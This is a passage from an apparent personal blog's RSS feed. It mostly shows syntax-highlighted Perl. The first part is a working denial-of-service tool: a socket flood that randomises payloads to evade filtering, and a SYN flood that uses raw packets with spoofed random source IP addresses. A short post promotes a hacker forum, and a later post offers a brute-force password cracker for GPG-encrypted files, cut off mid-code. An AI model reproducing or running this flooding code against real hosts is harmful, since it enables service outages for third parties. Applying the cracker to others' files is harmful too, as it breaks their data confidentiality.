  <span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">+</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">if</span> <span style="color: #7AB9BE;">$time</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Make sure the until loop condition is false if no end time was specified</span>
  <span style="color: #3D9EDD;">until</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">&lt;=</span> <span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$message</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">&amp;random</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">int</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">rand</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">20</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">+</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Provide a random length (&gt; 1 ;) to the random message sub</span>
    <span style="color: #996699;">send</span><span style="color: #CCC;">&#40;</span>Socket<span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$message</span><span style="color: #CCC;">,</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Send a random message over the socket (random to prevent easy filtering)</span>
    <span style="color: #7AB9BE;">$packet_count</span> <span style="color: #CCC;">++;</span> <span style="color: #999;"># Increase the packet count</span>
    <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\r</span>[*]Successful requests: $packet_count&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Overwrite the last printed number by the new count</span>
    usleep<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$delay</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Microsleep</span>
    <span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">+</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">if</span> <span style="color: #7AB9BE;">$time</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Make sure $end_time is always ahead of time() (Bit hacky)</span>
&nbsp;
&nbsp;
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #7AB9BE;">$threads_left</span> <span style="color: #CCC;">--;</span> <span style="color: #999;"># Thread is (almost) done</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span> <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">!</span><span style="color: #7AB9BE;">$threads_left</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Put a newline after the final packet count, see fail sub also</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># SYN flooding sub</span>
<span style="color: #996600;">sub</span> syn_flood <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$packet</span> <span style="color: #CCC;">=</span> Net<span style="color: #CCC;">::</span><span style="color: #FFF;">RawIP</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">new</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">+</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">if</span> <span style="color: #7AB9BE;">$time</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Make sure the until loop condition is false if no end time was specified</span>
  <span style="color: #3D9EDD;">until</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">&lt;=</span> <span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #7AB9BE;">$ip</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">&amp;generate_ip</span><span style="color: #CCC;">;</span>
    <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$source_port</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">int</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">rand</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">65534</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">+</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Pick a (port) number (integer) in between 0 and 65535</span>
    <span style="color: #7AB9BE;">$packet</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">set</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Create a packet with a random source IP and a random port number</span>
      ip <span style="color: #CCC;">=&gt;</span> <span style="color: #CCC;">&#123;</span>saddr <span style="color: #CCC;">=&gt;</span> <span style="color: #7AB9BE;">$ip</span><span style="color: #CCC;">,</span> daddr <span style="color: #CCC;">=&gt;</span> <span style="color: #7AB9BE;">$target</span><span style="color: #CCC;">&#125;</span><span style="color: #CCC;">,</span>
                        tcp <span style="color: #CCC;">=&gt;</span> <span style="color: #CCC;">&#123;</span>source <span style="color: #CCC;">=&gt;</span> <span style="color: #7AB9BE;">$source_port</span><span style="color: #CCC;">,</span> dest <span style="color: #CCC;">=&gt;</span> <span style="color: #7AB9BE;">$port</span><span style="color: #CCC;">,</span> syn <span style="color: #CCC;">=&gt;</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#125;</span>
    <span style="color: #CCC;">&#125;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
    <span style="color: #7AB9BE;">$packet</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">send</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Sent the previously crafted packet</span>
    <span style="color: #7AB9BE;">$packet_count</span> <span style="color: #CCC;">++;</span>
    <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\r</span>[*]Successfully sent $packet_count packets&quot;</span><span style="color: #CCC;">;</span>
    usleep<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$delay</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Microsleep</span>
    <span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">+</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">if</span> <span style="color: #7AB9BE;">$time</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Make sure $end_time is always ahead of time() (Bit hacky)</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Put a newline after the final packet count</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #996600;">sub</span> generate_ip <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$first</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">int</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">rand</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">255</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">+</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Pick an integer in between 0 and 255</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$second</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">int</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">rand</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">255</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> 
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$third</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">int</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">rand</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">255</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> 
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$fourth</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">int</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">rand</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">255</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> 
  <span style="color: #996699;">return</span> <span style="color: #7ACC00;">&quot;$first<span style="color: #99FF00;">\.</span>$second<span style="color: #99FF00;">\.</span>$third<span style="color: #99FF00;">\.</span>$fourth&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Generate a fake IP address </span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Failure TCP sub</span>
<span style="color: #996600;">sub</span> fail <span style="color: #CCC;">&#123;</span>
  <span style="color: #7AB9BE;">$threads_left</span> <span style="color: #CCC;">--;</span> <span style="color: #999;"># Decrease the number of threads left since the thread will exit at the end of this sub</span>
&nbsp;
  <span style="color: #999;"># At first, $! will contain 'No route to host' if the host is not there, but after ~10 threads this message will change to 'Connection timed out' for some reason </span>
  <span style="color: #999;"># However these are two different error messages and therefore can mean very different things. 'No route to host' basically means the host is not present, while connection time out could also mean that a firewall is blocking the port</span>
  <span style="color: #999;"># To maintain this difference I'll be setting the error message 'manually' here if it contained 'No route to host' at first</span>
  <span style="color: #999;"># This basically what the following four lines do</span>
  <span style="color: #7AB9BE;">$error_message</span> <span style="color: #CCC;">=</span> <span style="color: #0000ff;">$!</span> <span style="color: #3D9EDD;">unless</span> <span style="color: #7AB9BE;">$error_message</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/No route/</span><span style="color: #CCC;">;</span> 
        <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$error_message</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/No route/</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #7AB9BE;">$error_message</span> <span style="color: #CCC;">=</span> <span style="color: #7ACC00;">&quot;No route&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>  
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[!]$error_message to $target on port $port<span style="color: #99FF00;">\n</span>&quot;</span> <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">!</span><span style="color: #7AB9BE;">$threads_left</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Print the fail message if we're down to the last thread, otherwise you'd see this message $thread_count times</span>
  threads<span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">exit</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Exit (the thread or the main sub; works for both :)) </span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Are you sure ... so many threads sub</span>
<span style="color: #996600;">sub</span> sure_threads <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[?]Are you sure you want to deploy so many threads? [y<span style="color: #99FF00;">\\</span>N]<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Print the question, N is default</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$answer</span> <span style="color: #CCC;">=</span> <span style="color: #009999;">&lt;STDIN&gt;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Get the answer from STDIN (user input)</span>
  <span style="color: #996699;">chomp</span> <span style="color: #7AB9BE;">$answer</span><span style="color: #CCC;">;</span> 
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$answer</span> <span style="color: #CCC;">!~</span> <span style="color: #33CC66;">/\by\b/i</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If the answer is not an y or an Y</span>
    <span style="color: #996699;">exit</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Are you sure ... this slow, delay sub</span>
<span style="color: #996600;">sub</span> sure_delay_slow <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[?]Are you sure you want to go this slow? [y<span style="color: #99FF00;">\\</span>N]<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$answer</span> <span style="color: #CCC;">=</span> <span style="color: #009999;">&lt;STDIN&gt;</span><span style="color: #CCC;">;</span>
  <span style="color: #996699;">chomp</span> <span style="color: #7AB9BE;">$answer</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$answer</span> <span style="color: #CCC;">!~</span> <span style="color: #33CC66;">/\by\b/i</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #996699;">exit</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Similar to the sub above</span>
<span style="color: #996600;">sub</span> sure_delay_fast <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;[?]Are you sure you want to go this fast? [y<span style="color: #99FF00;">\\</span>N]<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$answer</span> <span style="color: #CCC;">=</span> <span style="color: #009999;">&lt;STDIN&gt;</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$answer</span> <span style="color: #CCC;">!~</span> <span style="color: #33CC66;">/\by\b/i</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #996699;">exit</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Stop time sub</span>
<span style="color: #996600;">sub</span> stop <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">stop</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> 
    <span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$option</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">stop</span><span style="color: #CCC;">;</span>
    <span style="color: #7AB9BE;">$end_time</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">+</span> <span style="color: #7AB9BE;">$end_time</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Set $end_time at unix time + the amount of seconds specified</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If stop is zero or not specified</span>
    <span style="color: #7AB9BE;">$time</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #999;"># Generate random text sub</span>
<span style="color: #999;"># I took this code straight of the web: http://th.atguy.com/mycode/generate_random_string/</span>
<span style="color: #996600;">sub</span> random <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$length_of_randomstring</span><span style="color: #CCC;">=</span><span style="color: #996699;">shift</span><span style="color: #CCC;">;</span><span style="color: #999;"># The length of the random string to generate (see sub argument)</span>
&nbsp;
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">@chars</span><span style="color: #CCC;">=</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'a'</span><span style="color: #CCC;">..</span><span style="color: #7ACC00;">'z'</span><span style="color: #CCC;">,</span><span style="color: #7ACC00;">'A'</span><span style="color: #CCC;">..</span><span style="color: #7ACC00;">'Z'</span><span style="color: #CCC;">,</span><span style="color: #7ACC00;">'0'</span><span style="color: #CCC;">..</span><span style="color: #7ACC00;">'9'</span><span style="color: #CCC;">,</span><span style="color: #7ACC00;">'_'</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># List of characters</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$random_string</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">foreach</span> <span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">..</span><span style="color: #7AB9BE;">$length_of_randomstring</span><span style="color: #CCC;">&#41;</span> 
  <span style="color: #CCC;">&#123;</span>
    <span style="color: #999;"># rand @chars will generate a random number between 0 and scalar @chars</span>
    <span style="color: #7AB9BE;">$random_string</span><span style="color: #CCC;">.=</span><span style="color: #7AB9BE;">$chars</span><span style="color: #CCC;">&#91;</span><span style="color: #996699;">rand</span> <span style="color: #7AB9BE;">@chars</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #996699;">return</span> <span style="color: #7AB9BE;">$random_string</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span></pre></td></tr></table></div></div>

]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=930</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Safe Nachos &#8211; A place for hackers (Forum)</title>
		<link>http://kaabel.net/blog/?p=921</link>
		<comments>http://kaabel.net/blog/?p=921#comments</comments>
		<pubDate>Fri, 14 Jan 2011 17:01:41 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[bsdpunk]]></category>
		<category><![CDATA[forum]]></category>
		<category><![CDATA[nachos]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[safenachos.org]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=921</guid>
		<description><![CDATA[Bsdpunk has recently started a forum. It&#8217;s called Safe Nachos and it&#8217;s a selfdescribed &#8220;place for hackers&#8221;. Real hackers, people who love programming, hacks &#038; computers, NOT people who our looking to make money off &#8220;FUD grypters&#8221; and the like. Up to now, it&#8217;s not been very crowded, but I believe the place has potential. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://bsdpunk.blogspot.com">Bsdpunk</a> has recently started a <a href="http://safenachos.org/forum">forum</a>. It&#8217;s called <em>Safe Nachos</em> and it&#8217;s a selfdescribed &#8220;place for hackers&#8221;. Real hackers, people who love programming, hacks &#038; computers, NOT people who our looking to make money off &#8220;FUD grypters&#8221; and the like.<br />
Up to now, it&#8217;s not been very crowded, but I believe the place has potential. So join <a href="http://safenachos.org/forum">safenachos.org</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=921</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cracking passwords of GPG-encrypted files (Perl)</title>
		<link>http://kaabel.net/blog/?p=897</link>
		<comments>http://kaabel.net/blog/?p=897#comments</comments>
		<pubDate>Thu, 23 Dec 2010 14:35:28 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Perl]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[encrypted]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=897</guid>
		<description><![CDATA[This script can be used to bruteforce the passwords on encrypted files by GnuPG. The files are encrypted by: SHELLgpg -c file This script was largely based on this Python script and its author deserves by far most of the credit. Furthermore, the Perl script makes use of the GnuPG module, which can be obtained [...]]]></description>
			<content:encoded><![CDATA[<p>This script can be used to bruteforce the passwords on encrypted files by GnuPG.<br />
The files are encrypted by:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">SHELL</span><div class="wp_syntax"><div class="code"><pre class="shell" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">gpg -c file</pre></div></div></div>

<p>This script was largely based on <a href="http://www.rbgrn.net/content/25-how-to-write-brute-force-password-cracker">this</a> Python script and its author deserves by far most of the credit. Furthermore, the Perl script makes use of the <em>GnuPG</em> module, which can be obtained from <a href="http://www.cpan.org/">cpan.org</a>, or if you&#8217;re on Arch Linux by invoking: <em>yaourt -S perl-gnupg</em>.<br />
<br />
I didn&#8217;t really bother extending the script with a way to handle user input or command line arguments, so you&#8217;ll have to edit the script, to make it suit your needs.<br />
<br />
You can specify your charset by editing the contents of <em>@range</em>. Alphanumerical, for example would be:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><div class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #7AB9BE;">@range</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'a'</span> <span style="color: #CCC;">..</span> <span style="color: #7ACC00;">'z'</span><span style="color: #CCC;">,</span> <span style="color: #FFCC00;">0</span> <span style="color: #CCC;">..</span> <span style="color: #FFCC00;">9</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span></pre></div></div></div>

<p><em>$minlength</em> holds the minimum length of the passwords to be cracked. You can probably figure out what <em>$maxlength</em> holds on your own.<br />
Making <em>$minlength</em> equal <em>$maxlength</em> will make sure only one certain length is tested.<br />
<br />
You must enter the file name of your encrypted file after <em>ciphertext =></em> and optionally a name for the output as well.<br />
<br />
Currently, the script prints the current &#8216;try&#8217; every 15 minutes, you can change that at <em>if (($time + 900) < time())</em>.</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #999;">#!/usr/bin/perl -w</span>
<span style="color: #999;"># This script was largely based on this Python script: http://www.rbgrn.net/content/25-how-to-write-brute-force-password-cracker</span>
<span style="color: #999;"># Author: Tom</span>
<span style="color: #999;"># Blog: kaabel.net/blog/</span>
<span style="color: #999;"># IRC: irc.malvager.com #perlbar</span>
&nbsp;
<span style="color: #996600;">use</span> strict<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> GnuPG<span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$gpg</span> <span style="color: #CCC;">=</span> <span style="color: #996600;">new</span> GnuPG<span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Create GnuPG handle</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$found</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">@range</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">'a'</span> <span style="color: #CCC;">..</span> <span style="color: #7ACC00;">'z'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">'A'</span> <span style="color: #CCC;">..</span> <span style="color: #7ACC00;">'Z'</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Edit your charset here (alpha+caps, in this case)</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$maxlength</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">5</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Max length of the password</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$minlength</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$time</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">time</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #996600;">sub</span> recurse<span style="color: #CCC;">&#40;</span><span style="color: #0000ff;">$$</span><span style="color: #0000ff;">$)</span> <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$width</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$position</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$basestring</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">=</span> <span style="color: #0000ff;">@_</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Get the arguments supplied in the function's arguments.</span>
  <span style="color: #3D9EDD;">foreach</span> <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$char</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">@range</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$position</span> <span style="color: #CCC;">&lt;</span> <span style="color: #7AB9BE;">$width</span> <span style="color: #CCC;">-</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If the position needs to be shifted</span>
      <span style="color: #7AB9BE;">&amp;recurse</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$width</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$position</span><span style="color: #CCC;">+</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">,</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;$basestring&quot;</span> <span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;$char&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Guess why it's called recurse :p</span>
      <span style="color: #3D9EDD;">next</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
                <span style="color: #999;"># You must enter the file name of your encrypted file after ciphertext =&gt; and optionally a name for the output as well</span>
    <span style="color: #996699;">eval</span> <span style="color: #CCC;">&#123;</span> <span style="color: #7AB9BE;">$gpg</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">decrypt</span><span style="color: #CCC;">&#40;</span>ciphertext <span style="color: #CCC;">=&gt;</span> <span style="color: #7ACC00;">'file.gpg'</span><span style="color: #CCC;">,</span> output <span style="color: #CCC;">=&gt;</span> <span style="color: #7ACC00;">'file'</span><span style="color: #CCC;">,</span> passphrase <span style="color: #CCC;">=&gt;</span> <span style="color: #7AB9BE;">$basestring</span> <span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$char</span><span style="color: #CCC;">,</span> symmetric <span style="color: #CCC;">=&gt;</span> <span style="color: #7ACC00;">'true'</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#125;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Eval is needed here, otherwise the program will end after an error.</span>
                <span style="color: #7AB9BE;">$found</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$basestring</span> <span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$char</span> <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">!</span><span style="color: #0000ff;">$@</span><span style="color: #CCC;">;</span> <span style="color: #999;"># If there were no errors, make $found equal the password</span>
